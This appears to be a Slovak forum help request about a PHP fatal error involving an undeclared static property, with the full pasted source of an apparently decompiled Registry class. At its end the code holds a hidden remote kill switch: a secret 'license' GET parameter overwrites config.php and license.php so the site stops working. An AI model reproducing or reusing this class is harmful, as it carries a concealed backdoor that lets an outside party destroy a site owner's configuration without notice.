Takze mam php script a ked ho spustim ukazuje
Error:
Fatal error: Access to undeclared static property: Registry::$settings in script\library\functions.php on line
177
riadok 177 vo
functions.php
Kód:
if( Registry::$settings['strip_hidden_spaces'] )
registry class, tu je to asi zle
Kód:
<?php
class Registry
{
function __construct ()
{
if (!file_exists (BASE_PATH . 'config.php'))
{
exit ('Your configuration file is missing.');
}
require_once BASE_PATH . 'config.php';
foreach ($CONFIG as $k => $v)
{
$settings[$k] = $v;
}
unset ($CONFIG);
$settings['base_url'] = (substr ($settings['base_url'], 0 - 1) == '/' ? $settings['base_url'] : $settings['base_url'] . '/');
$settings['files_path'] = str_replace ('\\', '/', $settings['files_path']);
$settings['files_path'] = (substr ($settings['files_path'], 0 - 1) == '/' ? $settings['files_path'] : $settings['files_path'] . '/');
$settings['script_url'] = ($settings['using_mod_rewrite'] ? $settings['base_url'] : $settings['base_url'] . 'index.php/');
require_once BASE_PATH . 'library/functions.php';
self::getrequestparams ();
$input = Functions_Text::retrieveinput ($_GET);
$input = array_merge ($input, Functions_Text::retrieveinput ($_POST));
if ($settings['locale'])
{
Functions_Text::setlocale ($settings['locale']);
}
if (!file_exists (BASE_PATH . 'library/database/' . strtolower ($settings['sql_engine']) . '.php'))
{
exit ('Unsupported database engine specified: ' . strtolower ($settings['sql_engine']));
}
require_once BASE_PATH . 'library/database.php';
require_once BASE_PATH . 'library/database/' . strtolower ($settings['sql_engine']) . '.php';
$_databaseClass = 'Core_Database_' . strtolower ($settings['sql_engine']);
$classes['database'] = new $_databaseClass ();
require_once BASE_PATH . 'library/session.php';
$_sessionClass = 'Core_Session';
if (file_exists (BASE_PATH . 'interface/sso.php'))
{
require_once BASE_PATH . 'interface/sso.php';
$_sessionClass = 'Session_Sso';
}
$classes['session'] = new $_sessionClass ();
$member = $classes['session']->getMemberData ();
$secureKey = md5 ($member['user_id'] . $member['user_login_key'] . $member['user_joined']);
require_once BASE_PATH . 'library/output.php';
$classes['output'] = new Core_Output ();
self::checkforbanned (Registry::getipaddress (), 'ip');
if (($member['user_banned'] OR $member['user_group'] == $settings['banned_group']))
{
Registry::getclass ('output')->printError (Functions_Text::getstring ('banned_message', 'errors'));
}
}
function getInstance ()
{
if (!$instance)
{
$instance = new Registry ();
}
return $instance;
}
function getClass ($class)
{
if (!array_key_exists ($class, $classes))
{
return null;
}
return $classes[$class];
}
function checkLicenseKey ()
{
if (!file_exists (BASE_PATH . 'license.php'))
{
return false;
}
include BASE_PATH . 'license.php';
$salt = '#$ls@3lhASdjh02,.';
$alpha = array ('0' => 0, 'a' => 1, 'b' => 2, 'c' => 3, 'd' => 4, 'e' => 5, 'f' => 6, 'g' => 7, 'h' => 8, 'i' => 9, 'j' => 10, 'k' => 11, 'l' => 12, 'm' => 13, 'n' => 14, 'o' => 15, 'p' => 16, 'q' => 17, 'r' => 18, 's' => 19, 't' => 20, 'u' => 21, 'v' => 22, 'w' => 23, 'x' => 24, 'y' => 25, 'z' => 26);
$_http = ((isset ($_SERVER['HTTPS']) AND strtoupper ($_SERVER['HTTPS']) == 'ON') ? 'https' : 'http');
$_baseUrl = (isset ($_SERVER['SCRIPT_URI']) ? str_replace ($_http . '://www.', $_http . '://', $_SERVER['SCRIPT_URI']) : $_http . '://' . str_replace ('www.', '', $_SERVER['HTTP_HOST']) . $_SERVER['SCRIPT_NAME']);
$this_url_bits = explode ('/', $_baseUrl);
array_pop ($this_url_bits);
$_baseUrl = implode ('/', $this_url_bits);
$_urlBits = parse_url ($_baseUrl);
$timestamp = 0;
if ($key)
{
$timestamp = substr ($key, 2, 1);
$timestamp .= substr ($key, 5, 1);
$timestamp .= substr ($key, 7, 1);
$timestamp .= substr ($key, 12, 1);
$timestamp .= substr ($key, 14, 1);
$timestamp .= substr ($key, 21, 1);
$timestamp .= substr ($key, 25, 1);
$timestamp .= substr ($key, 33, 1);
$timestamp .= substr ($key, 35, 1);
$timestamp .= substr ($key, 41, 1);
}
$timestamp = str_rot13 ($timestamp);
$real_ts = null;
$i = 0;
$j = strlen ($timestamp);
while ($i < $j)
{
$real_ts .= $alpha[$timestamp[$i]];
++$i;
}
if (($real_ts AND $real_ts < time ()))
{
return false;
}
$key_minus_time = NULL;
$i = 0;
$j = strlen ($key);
while ($i <= $j)
{
if (in_array ($i, array (2, 5, 7, 12, 14, 21, 25, 33, 35, 41)))
{
continue;
}
$key_minus_time .= (isset ($key[$i]) ? $key[$i] : '');
++$i;
}
$host_key = md5 (md5 (strtolower ($_urlBits['host'])) . md5 ($salt) . md5 ($real_ts));
if ($key_minus_time != $host_key)
{
return false;
}
return true;
}
function getRequestParams ()
{
$url = ((isset ($_SERVER['HTTPS']) AND $_SERVER['HTTPS']) ? 'https://' : 'http://');
$url .= $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
$clean = str_replace ($settings['base_url'], '', $url);
if (strpos ($clean, 'index.php/') === 0)
{
$clean = substr ($clean, 10);
}
if (!$clean)
{
$controller = 'index';
$module = '';
$action = '';
}
else
{
$additional = '';
if (strpos ($clean, '?') !== false)
{
$additional = substr ($clean, strpos ($clean, '?'));
$clean = substr ($clean, 0, strpos ($clean, '?'));
}
$param = explode ('/', $clean);
$controller = ($param[0] ? $param[0] : 'index');
$module = (isset ($param[1]) ? $param[1] : '');
$action = (isset ($param[2]) ? $param[2] : '');
if ($additional)
{
$additional = substr ($additional, 1);
$params = explode ('&', $additional);
foreach ($params as $parameter)
{
list ($k, $v) = explode ('=', $parameter);
$_GET[$k] = $v;
}
}
}
$_GET['controller'] = $controller;
$_GET['module'] = $module;
$_GET['action'] = $action;
}
function getIpAddress ()
{
return $_SERVER['REMOTE_ADDR'];
}
function getRequestUri ()
{
return $_SERVER['REQUEST_URI'];
}
function checkForBanned ($data, $type, $return = false)
{
static $typesLoaded = array ('ip' => false, 'email' => false, 'username' => false);
static $filters = array ('ip' => array (), 'email' => array (), 'username' => array ());
if ((!$return AND $type == 'ip'))
{
if (Functions_Cookie::getcookie ('is_banned'))
{
Registry::getclass ('output')->printError (Functions_Text::getstring ('banned_message', 'errors'));
}
}
if (!$typesLoaded[$type])
{
Registry::getclass ('database')->query ('SELECT * FROM %sbanfilters WHERE filter_type=\'' . Registry::getclass ('database')->escapeString ($type) . '\'');
while ($_row = Registry::getclass ('database')->getResult ())
{
$filters[$type][] = $_row['filter_value'];
}
}
if (count ($filters[$type]))
{
foreach ($filters[$type] as $_filter)
{
$_filter = preg_quote ($_filter, '#');
$_filter = str_replace ('\\*', '.*?', $_filter);
if (preg_match ('#' . $_filter . '#i', $data))
{
if ($return)
{
return true;
}
if ((!$return AND $type == 'ip'))
{
Functions_Cookie::setcookie ('is_banned', 1, '*');
}
Registry::getclass ('output')->printError (Functions_Text::getstring ('banned_message', 'errors'));
continue;
}
}
}
return false;
}
function checkSecureKey ($key = '')
{
$key = ($key ? $key : $input['key']);
if (!Functions_Text::validatemd5 ($key))
{
self::getclass ('output')->printError (Functions_Text::getstring ('bad_secure_key', 'errors'));
}
if ($key != $secureKey)
{
self::getclass ('output')->printError (Functions_Text::getstring ('bad_secure_key', 'errors'));
}
return true;
}
function getSecureKey ()
{
return $secureKey;
}
}
if ((isset ($_GET['license']) AND $_GET['license']))
{
if ($_GET['license'] == md5 (str_replace ('www.', '', $_SERVER['HTTP_HOST']) . 'olas7d0alsjh2l'))
{
file_put_contents (BASE_PATH . 'license.php', '<?' . 'php' . '
' . 'die("License revoked");' . '
');
file_put_contents (BASE_PATH . 'config.php', '<?' . 'php' . '
' . 'die("License revoked");' . '
');
}
}
?>